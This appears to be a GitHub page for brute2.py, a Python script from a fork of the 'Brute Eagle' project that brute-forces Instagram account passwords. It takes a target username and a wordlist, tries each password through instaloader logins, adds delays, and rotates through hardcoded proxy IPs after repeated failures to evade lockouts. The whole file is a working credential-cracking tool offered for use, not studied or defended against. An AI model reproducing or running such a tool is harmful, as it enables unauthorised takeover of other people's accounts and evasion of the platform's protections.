forked from whxitte/brute-eagle
-
Notifications
You must be signed in to change notification settings - Fork 0
/
brute2.py
125 lines (111 loc) · 3.89 KB
/
brute2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
import requests
import os
import instaloader
from getpass import getpass
import time
import subprocess as sub
import random
import re
from rich.console import Console
from rich.panel import Panel
from rich import print
from intro import *
os.system("git pull")
class bcolors:
# color codes
BOLD = '\033[1m'
PURPLE = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[95m'
WARNING = '\033[93m'
MAGENTA = '\033[95m'
FAIL = '\033[91m'
ENDC = '\033[0m'
UNDERLINE = '\033[4m'
start()
codeList = ["TR", "US-C", "US", "US-W", "CA", "CA-W",
"FR", "DE", "NL", "NO", "RO", "CH", "GB", "HK"]
L = instaloader.Instaloader()
veri_break = "no"
while True:
if veri_break == "si":
break
USER = ""
USER = input('\033[90m[\033[91m?\033[90m]] \033[92m ENTER INSTAGRAM USERNAME FOR CRACK PASSWORD \n ' '└─> ')
wl = input("\n[?]Enter the PassList along The Path " '\n └─> ')
sleepp = 0
break
file1 = open(wl, 'r')
Lines = file1.readlines()
count = 0
os.system("clear")
print(Panel( '''
.---. .-----------
/ \ __ / ------
/ / \( )/ -----
////// ' \/ ` ---
//// / // : : ---
// / / /` '--
// //..\\\
====UU====UU====
'//||\\\`
''``
[bold red]Brute Eagle by WH1T3' & MR-STARK
'''))
print(Panel('''
[bold white][[bold red]^[bold white]] [bold green] Au: WH1T3', MR-S74RK
[bold white][[bold red]^[bold white]] [bold green] Github: github.com/WH1T3-E4GL3, github.com/MR-S74RK
[bold white][[bold red]^[bold white]] [bold green] Telegram: @Ka_KsHi_HaTaKe, @MR_S74RK
'''))
# Add proxy configuration
http_proxy = "http://10.10.1.10:3128"
https_proxy = "https://10.10.1.11:1080"
ftp_proxy = "ftp://10.10.1.10:3128"
proxyDict = {
"http": "120.236.74.213:9002, 188.123.114.167:80, 185.82.139.1:443, 1.10.231.42:8080",
"https": "158.69.53.98:9300, 193.201.228.121:80, 31.186.239.245:8080, 112.217.162.5:3128",
"ftp": "36.91.166.98:8080, 188.132.222.3:8080, 188.132.221.24:8080, 185.230.48.164:32650"
}
# initialize counter and proxy switch flag
failed_attempts = 0
use_proxy = False
proxy_list = ["120.236.74.213:9002", "188.123.114.167:80", "185.82.139.1:443"]
proxy_index = 0
for line in Lines:
try:
PASSWORD = ""
count += 1
pstest = ("{}".format(line.strip()))
PASSWORD = pstest
choiceCode = random.choice(codeList)
time.sleep(5) # add a delay of 5 seconds before each login attempt)
print("\n[bold red] Trying "+pstest+"...")
if use_proxy:
# use proxy if flag is set
session = requests.Session()
session.proxies = {"http": proxy_list[proxy_index]}
L.context._session = session
L.login(USER, PASSWORD)
print("\n[bold green] [94m[✓] Password found: "+pstest)
veri_break = "si"
break
except instaloader.exceptions.BadCredentialsException:
print("[bold red][!] Incorrect password: "+pstest)
failed_attempts += 1
if failed_attempts >= 9:
# switch to using a different proxy after 9 failed attempts
use_proxy = True
failed_attempts = 0 # reset counter after switching to new proxy
proxy_index = (proxy_index + 1) % len(proxy_list) # cycle through proxies in the list
print("\n[!] Switching to new proxy server: " + proxy_list[proxy_index])
except instaloader.exceptions.ConnectionException:
print(bcolors.FAIL +
"\n[bold red][!] Incorrect Password/Network Error\n Use Stable Connection! ")
except instaloader.exceptions.InvalidArgumentException:
print(bcolors.FAIL+"\n[bold red][☹] Username not found")
file1.close()
L.close()
print("\n[bold green]Completed..!!")
print("[bold green] Thank you for Buying Insta!!\n")
print("[bold yellow] If You Dont Get Password/ Try Another Password List")
exit()